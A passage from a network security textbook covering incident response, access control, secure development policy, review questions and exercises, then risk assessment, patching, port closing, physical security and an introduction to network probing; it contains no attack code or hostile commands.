- After you have dealt with the virus and notified the appropriate people, you should then have a meeting with appropriate IT staff to discuss what can be learned from this breach and how you might prevent it from occurring in the future.

Denial of Service Attacks

If you have taken the steps outlined earlier in this book (such as properly configuring your router and your firewall to reduce the impact of any attempted DoS), then you will already be alleviating some of the damage from this type of attack. Use your firewall logs or IDS to find out which IP address (or addresses) originated the attacks. Note the IP address(es), and then (if your firewall supports this feature, and most do) deny that IP address access to your network.

- Use online resources (interNIC, etc.) to find out who the address belongs to. Contact that organization and inform them of what is occurring.
- Log all of these activities and inform the appropriate organizational leaders.
- After you have dealt with the DoS and notified the appropriate people, you should then have a meeting with appropriate IT staff to discuss what can be learned from this attack and how you might prevent it from occurring in the future.

Intrusion by a Hacker

There are specific steps you should take if you believe that your system has been compromised by an intruder. These steps will assist you in documenting the incident and preventing further harm to your system. Before going over some essential steps, keep in mind that an intrusion investigation might turn into a criminal investigation. If you don't handle the evidence properly, the criminal case will fail. Every incident response team should have some basic training in digital forensics. And if you lack such training, do not touch the system—call a digital forensics specialist. Beginning with how one makes a copy of a drive can be critical. Chapter 16, “Introduction to Forensics,” covers the basics of forensics.

- Immediately copy the logs of all affected systems (firewall, targeted servers, etc.) for use as evidence.
- Immediately scan all systems for Trojan horses, changes to firewall settings, changes to port filtering, new services running, and so on. In essence you are performing an emergency audit (described in greater detail in Chapter 12, “Assessing System Security”) to determine what damage has been done.
- Document everything. Of all of your documentation,

this must be the most thorough. You must specify which IT personnel took what actions at what times. Some of this data may later be part of court proceedings, so absolute accuracy is necessary. It is probably a good idea to log all activities taken during this time and to have at least two people verify and sign the log.

- Change all affected passwords. Repair any damage done.
- Inform the appropriate business leaders of what has happened.
- After you have dealt with the breach and notified the appropriate people, you should then have a meeting with appropriate IT staff to discuss what can be learned from this breach and how you might prevent it from occurring in the future.

These are just general guidelines, and some organizations may have much more specific actions they want taken in the event of some security breach. You should also bear in mind that throughout this book when we have discussed various sorts of threats to network security, we have mentioned particular steps and policies that should be taken. The policies in this chapter are meant to complement any already outlined. It is an unfortunate fact that some organizations have no plan for what to do in case of an emergency. It is

important that you do have at least some generalized procedures you can implement.

DEFINING ACCESS CONTROL

An important area of security policies that usually generates some controversy in any organization is access control. There is always a conflict between users' desire for unfettered access to any data or resources on the network and the security administrator's desire to protect that data and resources. This means that extremes in policies are not practical. You cannot simply lock down every resource as completely as possible because that would impede the users' access to those resources. Conversely, you cannot simply allow anyone and everyone complete access to everything.

FYI: The "CIA" Triad

No, this is not a nefarious plot, nor does CIA stand for Central Intelligence Agency in this instance. CIA is an acronym for Confidentiality, Integrity, and Availability. This has direct bearing on access to resources. The concept is that data must be kept confidential. That means that only those personnel with a need to know will have access to the data. Secondly, the data integrity must be maintained. This

means that the data must be reliable. That involves limiting who can alter the data and under what conditions they can alter it. Finally, all data must be available to be accessed.

It is worth keeping this acronym in mind when thinking about access control. Your goal is to make sure the data is accurate, confidential, and available only to authorized parties.

This is where the least privileges concept comes into play. The idea is simple. Each user, including IT personnel, gets the least access they can have to effectively do his job. Rather than asking the question “Why not give this person access to X?” you should ask “Why give this person access to X?” If you do not have a very good reason, then do not provide the access. This is one of the fundamentals of computer security. The more people who have access to any resource, the more likely some breach of security is to occur.

Clearly tradeoffs between access and security must be made. Examples abound. One common example involves sales contact information. Clearly a company’s marketing department needs access to this data. However, what happens if competitors get all of your company’s contact information? That information could allow them to begin targeting your current client list.

This requires a tradeoff between security and access. In this case you would probably give sales people access only to the contacts that are within their territory. No one other than the sales manager should have complete access to all contacts.

DEFINING DEVELOPMENTAL POLICIES

Many IT departments include programmers and/or web developers. Unfortunately many security policies do not address secure programming. No matter how good your firewalls, proxy server, virus scanning, and policies, if your developers create code that is flawed, you will have security breaches. Clearly the topic of secure programming requires a separate volume to explore thoroughly. Nonetheless, we can consider a brief checklist for defining secure development policies. If your company currently has no secure programming initiatives, this checklist is certainly better than developing in a vacuum. It can also serve as a starting point to get you thinking, and talking, about secure programming.

- All code, especially code done by outside parties (contractors, consultants, etc.) must be checked for back doors/Trojan horses.

- All buffers must have error handling which prevents buffer overruns.
- All communication (such as using TCP sockets to send messages) must adhere to your organization's secure communications guidelines.
- Any code that opens any port or performs any sort of communication is thoroughly documented and the IT security unit is apprised of the code, what it will do, and how it will be used.
- All vendors should supply you with a signed document verifying that there are no security flaws in their code.

Following these steps will not guarantee that no flawed code is introduced into your system, but it will certainly lower the odds significantly. The unfortunate fact is that these simple steps alone are more than most organizations are taking.

SUMMARY

In this chapter you learned that technology is not enough to ensure a secure network. You must have clear and specific policies detailing procedures on your network. These policies must cover employee computer resource use, new employees, outgoing employees, access rights, emergency response procedures, and the security of code in applications and websites.

User policies must cover all aspects of how the user is expected to use company technology. In some cases, such as instant messaging and web use, policies may be difficult to enforce, but that does not change the fact that they must still be in place. If your user policies fail to cover a particular area of technology use, then you will have difficulty taking any action against any employee who performs that particular misuse.

You also learned that it is not just the end user who needs policies. The IT staff needs clearly delineated policies covering how to handle various situations. Of particular concern will be policies dictating how to handle new and existing users. You also need a carefully considered change management policy.

Test Your Skills

MULTIPLE CHOICE QUESTIONS

1. Which of the following does not demonstrate the need for policies?
 - A. Antivirus software cannot prevent a user from downloading infected files.
 - B. The most secure password is not at all secure if posted on a note by the computer.
 - C. End users are generally not particularly bright and must be told everything.
 - D. Technological security measures are dependent upon the employees' implementation.
2. Which of the following is not an area user policies need to cover?
 - A. Minimum length of passwords
 - B. A description of websites users may or may not visit
 - C. If and when to share passwords
 - D. What to do when the user believes your password has been compromised
3. Which of the following is not an example of a user

password policy?

- A.** Users may not keep copies of passwords in their office.
 - B.** Passwords must be eight characters long.
 - C.** Users may share passwords only with their assistants.
 - D.** Passwords may not be shared with any employee.
- 4.** What should an employee do if she believes her password has been revealed to another party?
- A.** If it is a trusted employee or friend, just ignore it.
 - B.** Change her password immediately.
 - C.** Notify the IT department.
 - D.** Ignore it.
- 5.** Which of the following should be recommended as acceptable e-mail attachments?
- A.** Flash animations
 - B.** Excel spreadsheets from a colleague
 - C.** Attachments the user expected
 - D.** Plain text attachments from known sources
- 6.** Which of the following is the best reason users

should be prohibited from installing software?

- A.** They may not install it correctly, which could cause security problems for the workstation.
- B.** They may install software that disables existing security programs on your machine.
- C.** Software installation is often complex and should be done by professionals.
- D.** If a user's account does not have privileges to install, then it is likely that a Trojan horse will not be inadvertently installed under her account.

7. Which of the following is not a significant security risk posed by instant messaging?

- A.** Employees may send harassing messages.
- B.** Employees might send out confidential information.
- C.** A virus or worm might infect the workstation via instant messaging.
- D.** An instant messaging program could actually be a Trojan horse.

8. What is the most important characteristic all user policies must have in order to be effective?

- A.** They must be reviewed by an attorney.

- B.** They must have consequences.
- C.** They must be notarized.
- D.** They must be properly filed and maintained.

9. Which of the following is the appropriate sequence of events for a new employee?

- A.** IT is notified of the new employee and the requested resources. > Employee is granted access to these resources. > Employee is briefed on security/acceptable use policies. > Employee signs acknowledgment of receipt of company security rules.
- B.** IT is notified of the new employee and the requested rights. > Employee is given access to these resources. > Employee signs acknowledgment of receipt of company security rules.
- C.** IT is notified of the new employee and assigns requested rights. > Employee is briefed on security/acceptable use. > Employee signs acknowledgment of receipt of company security rules.
- D.** IT is notified of the new employee and assigns default rights. > Employee signs acknowledgment of receipt of company security rules.

- 10.** Which of the following is the appropriate sequence of events for a departing employee?
- A.** IT is notified of the departure. > All logon accounts are shut down. > All access (physical and electronic) is disabled.
 - B.** IT is notified of the departure. > All logon accounts are shut down. > All access (physical and electronic) is disabled. > The employee's workstation is searched/scanned.
 - C.** IT is notified of the departure. > All physical access is shut down. > All electronic access is shut down.
 - D.** IT is notified of the departure > All electronic access is shut down. > All physical access is shut down.
- 11.** Which of the following is the appropriate sequence for a change request?
- A.** Business unit manager requests change. > IT unit verifies request. > Request is implemented.
 - B.** Business unit manager requests change. > IT unit verifies request. > Security unit verifies request. > Request is scheduled with rollback plan. > Request is implemented.
 - C.** Business unit manager requests change. > IT

unit verifies request. > Request is scheduled with rollback plan. > Request is implemented.

D. Business unit manager requests change. > IT unit verifies request. > Security unit verifies request. > Request is implemented.

12. What is the first step after discovering a machine or machines have been infected with a virus?

- A.** Log the incident.
- B.** Scan and clean infected machines.
- C.** Notify appropriate management.
- D.** Quarantine infected machines.

13. What is the best rule of thumb in access control?

- A.** Allow the most access you can securely give.
- B.** Allow the least access job requirements allow.
- C.** Standardize access for all users.
- D.** Strictly limit access for most users.

14. After dealing on a technical level with any security breach, what is the last thing to be done for any security breach?

- A.** Quarantine infected machines.
- B.** Study the breach to learn how to prevent a reoccurrence.

C. Notify management.

D. Log the incident.

15. Which of the following is a list of items that should be implemented in all secure code?

A. All code checked for back doors or Trojans, all buffers have error handling to prevent buffer overruns, and all communication activity thoroughly documented

B. All code checked for back doors or Trojans, all buffers have error handling to prevent buffer overruns, all communication adheres to organizational guidelines, and all communication activity thoroughly documented

C. All code checked for back doors or Trojans, all buffers have error handling to prevent buffer overruns, and all communication adheres to organizational guidelines

D. All code checked for back doors or Trojans, all communications adheres to organizational guidelines, and all communication activity thoroughly documented

EXERCISES

Each of these exercises is intended to give you experience writing limited portions of a policy. Taken together, the exercises represent a complete policy for a college campus computer network.

EXERCISE 11.1: User Policies

1. Using the guidelines provided in this chapter (and other resources as needed), create a document that defines end user policies in an academic setting.
2. The policies should clearly define acceptable and unacceptable use for all personnel.
3. You may require some separate policies for administration, faculty, and students.

EXERCISE 11.2: New Student Policy

1. Using the guidelines provided in this chapter (and other resources as needed), create a step-by-step IT security policy for implementing a new user account for a student.
2. The policy should define which resources the student will have access to, what she will not have access to, and the duration of her access.

EXERCISE 11.3: Departing Student Policy

1. Using the guidelines provided in this chapter (and

other resources as needed), create a step-by-step IT security policy for handling user accounts/rights for a student that is leaving prematurely (drops, is expelled, etc.).

2. You will need to consider specialized student scenarios, such as a student who works as an assistant to a faculty member or as a lab assistant in a computer lab who may have access to resources most students do not.

EXERCISE 11.4: New Faculty/Staff Policy

1. Using the guidelines provided in this chapter (and other resources as needed), create a step-by-step IT security policy for implementing a new user account for a faculty or staff member.
2. The policy should define what resources the employee will have access to, what she will not have access to, and any restrictions. (Hint: Unlike student policies, you will not need to define time length since it should be indefinite).

EXERCISE 11.5: Leaving Faculty/Staff Policy

1. Write a policy for how to handle a faculty or staff member's departure (e.g., quit, fired, retired, etc.). Use the guidelines in this chapter and any other

resources you like to get you started.

2. Make certain you consider not only shutting down access but the possibility of proprietary research material existing on the faculty or staff member's workstation.

EXERCISE 11.6: Student Lab Use Policy

1. Considering the material in this chapter, create a set of policies for acceptable use of computer lab computers.
2. Make sure to specify web use, e-mail use, and any other acceptable uses.
3. Carefully spell out unacceptable usage (e.g., is game playing acceptable?).

PROJECTS

PROJECT 11.1: Examining Policies

1. Examine the following web resources that discuss security policies:
 - AT&T Acceptable use policy:
<https://www.att.com/legal/terms.aup.html>
 - Brown University Acceptable use policy:
<https://it.brown.edu/computing->

[policies/acceptable-use-policy](#)

- SANS institute policies:
<https://www.sans.org/security-resources/policies/>

2. Summarize the main theme of these policy recommendations. Pay particular attention to any area in which these recommendations differ from or exceed the recommendations of this chapter.
3. Choose the policy recommendation you believe is the most secure, and state the reasons for your choice.

PROJECT 11.2: Examining Security Policies

1. Ask a local business or your college for a copy of its security policies. Study the policies carefully.
2. Summarize the main theme of these policy recommendations. Pay particular attention to any area in which these recommendations differ from or exceed the recommendations of this chapter.
3. Choose the policy recommendation you believe is the most secure, and state the reasons for your choice.

PROJECT 11.3: Create Your Own Policies

Note: This project works well as a group project.

- 1.** At this point in the book you have studied security, including policies. After this chapter and the preceding exercises and projects, you have examined several policies from various web resources, as well as the policies of some actual organizations.
- 2.** Take the brief policies you created for the exercises in this chapter and expand them to create an entire working security policy for your academic institution. You will need to add administrative policies, developmental policies, and more.

Chapter 12

Assessing System Security

CHAPTER OBJECTIVES

After reading this chapter and completing the exercises, you will be able to do the following:

- Evaluate a system's security.
- Scan a system for vulnerabilities.
- Evaluate the overall security of a network.
- Use the “Six Ps” of security.
- Apply a patch to your system.
- Document your security.

INTRODUCTION

As you learn more about computer security, you will learn new techniques for securing a particular system. However, the ability to assess a system's security is critical. Before you can begin administering system security, you must have a realistic assessment of the system's current state of security. This chapter discusses the essential steps that you should follow in assessing a system's security level. It is very important to assess a system's security level prior to implementing any security measures. You must be cognizant of the current state of affairs in order to appropriately address vulnerabilities. You should also conduct periodic security audits to ensure that the appropriate level of security is being maintained.

It is also commonplace for security professionals and firms to be contracted to audit a system's security. Whatever your purpose for assessing a system's security, you will need to have some framework within which to conduct your review. This chapter gives you an understanding of how to approach such a review, and what to look for.

RISK ASSESSMENT CONCEPTS

Evaluating the security of a network always starts with a risk assessment. This involves considering the assets you are trying to protect, the threats against those assets, vulnerabilities in your systems, and what measures you can take to protect them. There are formulas for calculating risk.

The most basic calculation is for a single loss expectancy (SLE), or what impact a single loss will cause. This is calculated by multiplying the asset value (AV) by the exposure factor (EF). The exposure factor is a percentage value, representing how much of the asset's value you will lose in a given incident. For example, a laptop that has depreciated by 20 percent is now only worth 80 percent of its original value, should it be lost or stolen. This formula is

$$\text{SLE} = \text{AV} \times \text{EF}$$

Therefore, if a laptop is purchased for \$800, and depreciates by 10 percent a year, thus yielding an exposure factor of .9 (90 percent), then the SLE for a stolen or lost laptop is

$$\text{SLE} = 800 (\text{AV}) \times .9 (\text{EF})$$

$$\text{SLE} = \$720$$

The next formula is the annualized loss expectancy

(ALE). This represents how much loss you can expect from a particular issue in a year. The formula is SLE multiplied by annual rate of occurrence (ARO):

$$ALE = SLE \times ARO$$

So, in the previous laptop example, if you think you will lose six laptops per year, the calculation is

$$ALE = 720 (SLE) \times 6 (ARO)$$

$$ALE = \$4320$$

As you can see, the math is actually quite simple.

Another concept to understand is residual risk. Basically, this is how much risk is left over after you have taken all the steps you can to deal with the risk. And that topic brings us to the issue of how you deal with a risk you have identified. There are really only four categories of responses:

- **Mitigation:** This means you take steps to lessen the risk. No matter what you do, there is likely to be some risk left. For example, if you are concerned about malware, then running antivirus is risk mitigation. This is the most common solution.
- **Avoidance:** This is difficult to do. It means you have zero risk. For example, if you are concerned about users downloading a virus from a website, the

only way to completely avoid that is to not give them access to the web. This is not usually a viable solution.

- **Transference:** This is transferring the risk to someone else. The most clear example is cyber breach insurance. If you have such insurance, then the cost of a risk that is realized will be passed on to the insurance company.
- **Acceptance:** If the probability of the risk is very remote, or the cost of mitigation is higher than the cost of the risk being realized, you may choose to do nothing, and simply accept the risk.

EVALUATING THE SECURITY RISK

In Chapter 1, “Introduction to Network Security,” we provided a method for assigning a numeric value to your system’s security risk based on several factors. In this section we will expand upon that system. Recall that we evaluated three aspects of your system:

- Attractiveness to attackers
- Nature of information
- Level of security

The system being evaluated was given a numeric designation between 1 and 10 for each of these factors.

The first two are added together, and then the third number (level of security) is subtracted. The lower the number, the more secure your system; the higher the number the greater your risk. The best rating is for a system that:

- Receives a 1 in attractiveness to hackers (i.e., a system that is virtually unknown, has no political or ideological significance, etc.)
- Receives a 1 in informational content (i.e., a system that has no confidential or sensitive data on it)
- Receives a 10 in security (i.e., a system with an extensive layered, proactive security system complete with firewalls, ports blocked, antivirus software, IDS, anti-spyware, appropriate policies, all workstations and servers hardened, etc.)

This hypothetical system would get a score of $1 + 1 - 10$, or -8 . That is the lowest threat score possible. Conversely, the worst rating is for a system that:

- Receives a 10 in attractiveness (i.e., a well-known system that has a very controversial ideological or political significance)
- Receives a 10 in informational content (i.e., a system that contains highly sensitive financial records or classified military data)

- Receives a 1 in security (no firewall, no antivirus, no system hardening, etc.)

This system would get a $10 + 10 - 1$, or a 19. Such a hypothetical system is, in effect, a disaster waiting to happen. As a systems administrator, you are unlikely to encounter either extreme. Evaluating system attractiveness to hackers is certainly quite subjective. However, evaluating the value of informational content or the level of security can be done with simple metrics.

To evaluate the value of the informational content on your systems, you have to consider the impact of such data being made public. What would be the worst-case scenario of that data being made public? Table 12-1 divides data into categories, based on worst-case impact, and gives examples of types of data that fit that specification.

You can use similar metrics to evaluate the security level of any network. Table 12-2 shows an example.

A few observations about Table 12-2 should be made here. The first is that Level 3 is actually the bare minimum any person should be using. Because both Windows and Linux have built-in firewalls, there is no reason that even a home user would not achieve Level 3. Most organizational networks should be able to get a minimum standard of Level 5 or 6. It should also be

noted that you probably will not find networks that fit exactly into one of these levels. However, this chart should give you some guidelines for how to evaluate the security level of these systems.

TABLE 12-1 Value of Data

Value Assigned Description	Impact	Description
1	Negligible, at most some personal embarrassment	Non-sensitive data: video rental records, book sales records
2–3	Slight loss of competitive advantage	Low-level business data: basic process and procedure documents, customer contact lists, employee lists
4–5	Significant loss of competitive advantage (business or military)	More sensitive business data: business strategies, business research data, basic military logistical data
6–7	Significant financial loss, significant loss of reputation, possible negative impact on operations	Financial/personal data: Social Security numbers, credit card numbers, bank account numbers, detailed military logistical data, military

		personnel records, confidential health records
8–9	Significant business profit loss, significant negative military/operational impact	Sensitive research data/patent product data, classified military information
10	Serious loss of life, danger to national security	Top secret data, weapons specifications, troop locations, lists of agent identities

TABLE 12-2 Security Measures Taken

Value Assigned	Security Measure Taken	Typical Implementer*
1	No security at all	Many home users
2	Basic antivirus software	Many home users
3	Antivirus, some security browser settings, basic filtering firewall	Small office/home office users (SOHO)
4	Level 3 plus routine patches and perhaps some additional	Small business/schools

	security measures such as stronger browser security and anti-spyware	
5	Level 4 plus router hardening, strong password requirements, perhaps an IDS, basic policies about downloading, acceptable usage policies, sensitive servers hardened	Networks with a full-time network administrator
6–7	Level 5 with both IDS and anti-spyware, all unnecessary ports closed, subnets filtered, strong password policies, good physical security, encryption used for sensitive data, all servers hardened, back-up media destroyed appropriately, stateful packet inspection firewall on perimeter, web servers located in a DMZ, packet filtering on all subnet routers, very extensive policies on all aspects of computer security	Networks with a larger IT staff, possibly a full-time security professional
8–9	Level 6–7 with regular internal and external security audits, hard drive encryption (such as Windows EFS), possible use of biometrics in physical security (fingerprint scan), extensive logging, background checks on all IT personnel, all	Networks with a full-time security professional

	workstations/servers completely hardened, all personnel wear security ID badges, all data transmissions encrypted	
10	Level 8–9 plus security clearance for all IT personnel, monthly updates/patching/auditing, routine penetration testing, Internet usage extremely restricted or blocked altogether, no portable media (optical disks, USB, etc.) on workstations, strong physical security including armed guards	Military/research installations
<i>* This does not mean that this level should be found at these types of organizations; this is just where it is likely to be found.</i>		

This system is somewhat simplistic, and parts of it are clearly subjective. It is hoped that this will form a basis for you as you begin working on security for your network. Having numerical values to evaluate your threat level can be a great assistance when assessing your security level. The real issue is that you have some quantifiable method for evaluating the security of a given system. This system is presented to you simply because there are very few similar systems in existence today. Most security evaluations are somewhat

subjective. This numerical grading system (which is the invention of this author) is offered as a starting point. You should feel encouraged to expand upon it.

CONDUCTING THE INITIAL ASSESSMENT

Disaster recovery, access rights, and appropriate policies are topics that are often overlooked by those new to security. To keep it simple and easy to remember, the stages of assessing a system's security can be separated into the "Six Ps":

- Patch
- Ports
- Protect
- Policies
- Probe
- Physical

The first three are discussed in this section. The fifth—probe—is discussed in the next section, and policies are covered in Chapter 11, "Security Policies." You should note that these Six Ps are the invention of this book's author (just as the numerical grading system was), and are not yet standards in the security industry. They are

provided here as a framework for approaching system security.

Patches

Patching a system is perhaps the most fundamental part of security. Therefore, when assessing any system's security, you should check to see whether a procedure is in place to govern the routine updating of all patches. And you should also, of course, check to see that the machines actually have current patches and updates. A written policy is essential, but when performing a security audit, you need to ensure that those policies are actually being followed.

As you are aware, operating system and application vendors occasionally discover security flaws in their products and release patches to correct these flaws. Unfortunately, it is not uncommon to find organizations in which patches have not been applied as late as 30 days or more after their release.

Applying Patches

Applying patches means that the operating system, database management systems, development tools, Internet browsers, and so on are all checked for patches. In a Microsoft environment this should be easy because the Microsoft website has a utility that scans your system for any required patches to the browser, operating system, or office products. It is a very basic tenet of security to ensure that all patches are up-to-date. This should be one of your first tasks when assessing a system. Regardless of the operating system or application vendor, you should be able to go to its website and find information regarding how to download and install the latest patches. But remember that everything must be patched—the operating system, applications, drivers, network equipment (switches, routers, etc.), literally everything.

Once you have ensured that all patches are up to date, the next step is to set up a system to ensure that they are kept up to date. One simple method is to initiate a periodic patch review where, at a scheduled time, all machines are checked for patches. There are also automated solutions that will patch all systems in your organization. It is imperative that all machines be patched, not just the servers.

Automated Patch Systems

Manually patching machines can be quite cumbersome, and in larger networks, simply impractical. However, there are automated solutions that will patch all systems on your network. These solutions scan your systems at preset times and update any required patches. A few are listed here:

- **Windows Update:** For systems running Microsoft Windows, you can set up Windows to automatically patch your system. Recent versions of Windows have this turned on automatically. If your system is older, simply go to <https://support.microsoft.com/en-us/help/12373/windows-update-faq> and follow the instructions to keep your system updated. This will give that individual machine routing updates for the Windows operating system. This approach does have a few shortcomings, the first being that it will only update Windows and not any other applications on your machine. The second drawback is that it does not provide any way to check patches on a test machine before deploying them to the entire network. Its main advantages are that it is free, and integrated with the Windows operating system.

- **HFNetChkPro:** This product is available from

https://www.petri.co.il/hfnetchk_pro. It automatically administers and manages patches, including rebooting the patched machines. It is sold on a per seat license, with five seats going for about \$200 and 100 seats selling for about \$2,100.

■ **ZENWorks Patch Management:** This product is available from Microfocuss at <https://www.microfocus.com/products/zenworks/patch-management/>.

■ **McAfee ePolicy Orchestrator:** This product (<https://www.mcafee.com/us/products/epolicy-orchestrator.aspx>) is both interesting and popular. It handles the automated patching of your system, and it includes a number of other features. One interesting feature is that it monitors the network for any devices that are connected to the network that are not set up via ePolicy Orchestrator. This prevents “rogue” machines. In larger organizations people setting up their own machines and servers can be a significant security risk. ePolicy Orchestrator also monitors other aspects of your network defense, including antivirus and firewall software.

Other patch management software solutions are available. These four are provided to give you an example of the solutions available and the price range

you can expect to pay for them. A simple Internet search using any major search engine should give you several more options you may want to consider.

The choice of patch management system is often affected by other considerations, such as what other software the company uses. For example if you already use McAfee firewall and antivirus software, then using their patch management system is definitely an option you should seriously consider.

If no automated patch management system is used, then the next best option is scheduled, periodic manual patching. This means that the IT department in that organization has a schedule wherein they routinely scan each machine and update its patches. How frequently this is done is dependent upon the security needs of the organization. Patching quarterly should be considered the absolute minimum for any organization. Monthly is probably appropriate for most businesses. If a higher level of security is desired, then manual patching is probably not the appropriate choice.

Ports

As we have discussed in previous chapters, all communication takes place via some port (TCP/UDP). This is also true for many virus attacks. Frequently virus attacks will utilize some uncommon port to gain access to your system. Recall that ports 1 through 1024 are assigned and used for well-known protocols. We have examined viruses, Trojan horses, and other dangers that operate on specific port numbers. If those ports are closed, then your vulnerability to these specific attacks is significantly reduced.

Unfortunately, some system administrators do not make a policy of closing unused ports. This is probably due to the fact that many administrators think that if the firewall is blocking certain traffic, then there is no need to block that port on individual machines. However, this approach provides you with only perimeter security, not layered security. By closing ports on individual machines, you provide a backup in case the firewall is breached. As a rule, any port you do not explicitly need for operations should be closed, and communication should be disallowed on this port. A port is usually associated with a service. For example, an FTP service is often associated with ports 21 and 20. In order to close a port on an individual machine, you would need to shut down the service that uses that port.

This means those unused services on servers and individual workstations should be shut down.

Both Windows and Linux have built-in firewall capability that will block certain ports. This means in addition to shutting down the particular unneeded services on all client machines, you should also shut down the ports. The end of this chapter has exercises that specifically walk you through closing down services on a Windows 8 or 10 machine. This process would be almost identical for Windows 7, Windows Server 2012, or Windows Server 2016.

You should also shut down any unused router ports in your network. If your network is part of a larger wide-area network (WAN), then it is likely you have a router connecting you to that WAN. Every open port is a possible avenue of entry for a virus or intruder. Therefore, every port you can close is one less opportunity for such attacks to affect your system. The specifics of how to close a port on a router are particular to the individual router. The documentation that came with your router or your vendor should be able to provide you with specific instructions for how to accomplish this. If you have a vendor servicing your router, then you should make a list of all required ports and request that the vendor close all other ports on the router.

Protect

The next phase is to ensure that all reasonable protective software and devices are employed. This means at a minimum having a firewall between your network and the outside world. Firewalls were discussed in Chapters 3 and 4. Clearly, more advanced firewalls such as stateful packet inspection firewalls are preferred. When auditing a system, you must note not only whether the system has a firewall, but what type of firewall it has. You should also consider using an intrusion detection system (IDS) on that firewall and any web servers. An IDS is considered nonessential by some security experts; you can certainly have a secure network without one.

In Practice

Closing Ports

Many companies tend to concentrate on port filtering at the firewall. However, there is always a chance that an intruder or a virus could get inside your network. It is therefore prudent to block ports and services on each machine. When doing so, you must make sure you do not block ports that you need. The following process is recommended for

blocking ports on workstations:

- 1.** Using a port scanner, make a list of all open ports for that machine.
- 2.** Try to find out what each port is used for, then note on your list which ports are actually needed.
- 3.** On a single test machine, block the ports you believe are not needed. In fact, block all ports except the ones you listed as being necessary.
- 4.** Try to use all of your standard applications and see if they still work.

Assuming step 4 works, then apply the same blocking to one or two beta testers' machines and let them use it for several days.

Now you are ready to begin blocking ports on all workstations. It is critical that you make sure your blocking won't disable or impede legitimate applications and network processes.

However, IDSs are the only way to know of impending attacks, and there are free, open source IDSs available. For that reason, most experts highly recommend them. The firewall and IDS will provide basic security to your network's perimeter, but you also need virus scanning. Each and every machine, including servers, must have a virus scanner that is updated regularly. The point has

already been made that a virus infection is the greatest threat to most networks. As also previously discussed, it is probably prudent to consider anti-spyware software on all of your systems. This will prevent users of your network from inadvertently running spyware on the network.

Finally, a proxy server, also discussed in Chapter 2, “Types of Attacks,” is a very good idea. It not only masks your internal IP addresses, but most proxy servers allow you to discover what websites users visit and put on filters for certain sites. Many security experts consider a proxy server to be as essential as a firewall.

In addition to protecting your network, you must also protect data that is transmitted, particularly outside your network. All external connections should be made via a VPN. Having data encrypted prevents hackers from intercepting the data via a packet sniffer. For more secure locations you might even look for all internal transmissions to be encrypted as well.

In short, when assessing the protection of the network, check to see whether the following items are present, properly configured, and functioning:

- Firewall
- Antivirus protection

- Anti-spyware protection
- IDS
- Proxy server or NAT
- Data transmissions encryption

Be aware that the first two items are met in most networks. Any network that does not have a firewall or antivirus software is so substandard that the audit should probably stop at that point. In fact, it is unlikely that such an organization would even bother to have a security audit. The IDS and data encryption options are probably less common; however, they should be considered for all systems.

Physical

In addition to securing your network from unwanted digital access, you must also ensure that it has adequate physical security. The most robustly secure computer that is left sitting unattended in an unlocked room is not at all secure. You must have some policy or procedure governing the locking of rooms with computers as well as the handling of laptops, tablets, and other mobile computer devices. Servers must be in a locked and secure room with as few people as is reasonably possible having access to them. Backup tapes should be stored in a fireproof safe. Documents and old backup tapes should be destroyed before disposal (e.g., by melting tapes, demagnetizing hard disks, breaking CDs).

Physical access to routers and switches should also be tightly controlled. Having the most high-tech, professional information security on the planet but leaving your server in an unlocked room to which everyone has access is a recipe for disaster. One of the most common mistakes in the arena of physical security is co-locating a router or switch in a janitorial closet. This means that, in addition to your own security personnel and network administrators, the entire cleaning staff has access to your router or switch, and any one of them could leave the door unlocked for an

extended period of time.

There are some basic rules you should follow regarding physical security:

- **Server rooms:** The room where servers are kept should be the most fire-resistant room in your building. It should have a strong door with a strong lock, such as a deadbolt. Only those personnel who actually have a need to go in the room should have a key. You might also consider a server room log wherein each person logs in when they enter or exit the room. There are actually electronic locks that record who enters a room, when they enter, and when they leave. Consult local security vendors in your area for more details on price and availability.
- **Workstations:** All workstations should have an engraved identifying mark. You should also routinely inventory them. It is usually physically impossible to secure them as well as you secure servers, but you can take a few steps to improve their security.
- **Miscellaneous equipment:** Projectors, CD burners, laptops, and so forth should be kept under lock and key. Any employee that wishes to use one should be required to sign it out, and it should be checked to see that it is in proper working condition

and that all parts are present when it is returned.

In Practice

Physical Security

How much physical security is enough? Well, that depends entirely on your situation. The very first step, one that many companies use, is to simply not let nonemployees roam around the building. All employees are given ID badges that they wear. Anyone without such a badge should be stopped and asked to return to the reception area (unless accompanied by an employee). That alone is a step forward for security.

Another step is to make sure all sensitive equipment is locked. Many companies do this, but then allow a large number of people to have copies of the keys. That degrades the level of security provided by locks. The fewest number of people possible should have keys. If someone does not have a clear need for access, then they should not have a key.

Biometrics are becoming more common as they become cheaper. Such systems control access to equipment by a fingerprint. This has the advantage of not being easily copied or lost, as a key might be.

This also allows you to easily verify who accesses what equipment and when it is accessed.

These measures should be considered by all organizations. Some organizations go much further in ensuring physical security, and we will list some of the more extreme measures here. Most are probably more extreme than businesses require. However, if you deal with highly sensitive or classified data, then you might want to consider some or all of these measures.

- Biometric locks to all server rooms, or equipment storage rooms. Such locks are triggered by a fingerprint scan, and the identity of the person as well as the time they entered the room are recorded.
- All visitors to the building are logged in (both their entry and exit time) and are escorted by an employee at all times.
- All bags are inspected when personnel leave, or at least some bags are inspected at random.
- No portable devices that might record data are allowed on the premises. This includes USB drives, camera phones, or any device that might copy data or record screen images.
- All printing is logged. Who printed, the time the

printing occurred, the document name, and the document size.

- All copying is logged, similarly to printing.

If you are in a situation that demands a greater than normal security level, these measures may be considered.

PROBING THE NETWORK

Perhaps the most critical step in assessing any network is to probe the network for vulnerabilities. This means using various utilities to scan your network for vulnerabilities. Some network administrators skip this step. They audit policies, check the firewall logs, check patches, and so on. However, the probing tools discussed in this section are the same ones that most hackers use. If you want to know how vulnerable your network is, it is prudent to try the same tools that an intruder would use. In this section we review the more common scanning/probing tools. There are essentially three types of probes that are usually done. These are the same types of probes that skilled hackers use to evaluate your network:

- **Port scanning:** This is a process of scanning the well-known ports (there are 1024) or even all the

ports (there are 65,535) and seeing which ports are open. Knowing what ports are open tells a lot about a system. If you see that 160 and 161 are open that tells you that the system is using SNMP. From the perspective of a network administrator, there should be no ports open that are not necessary.

- **Enumerating:** This is a process whereby the attacker tries to find out what is on the target network. Items such as user accounts, shared folders, printers, and so on are sought after. Any of these might provide a point of attack.
- **Vulnerability assessment:** This is the use of some tool to seek out known vulnerabilities, or the attacker might try to manually assess vulnerabilities. Some outstanding tools are available for vulnerability assessment.

A number of tools are freely available on the Internet for active scanning. They range from the simple to the complex. Anyone involved in preventing or investigating computer crimes should be familiar with a few of these.

NetCop

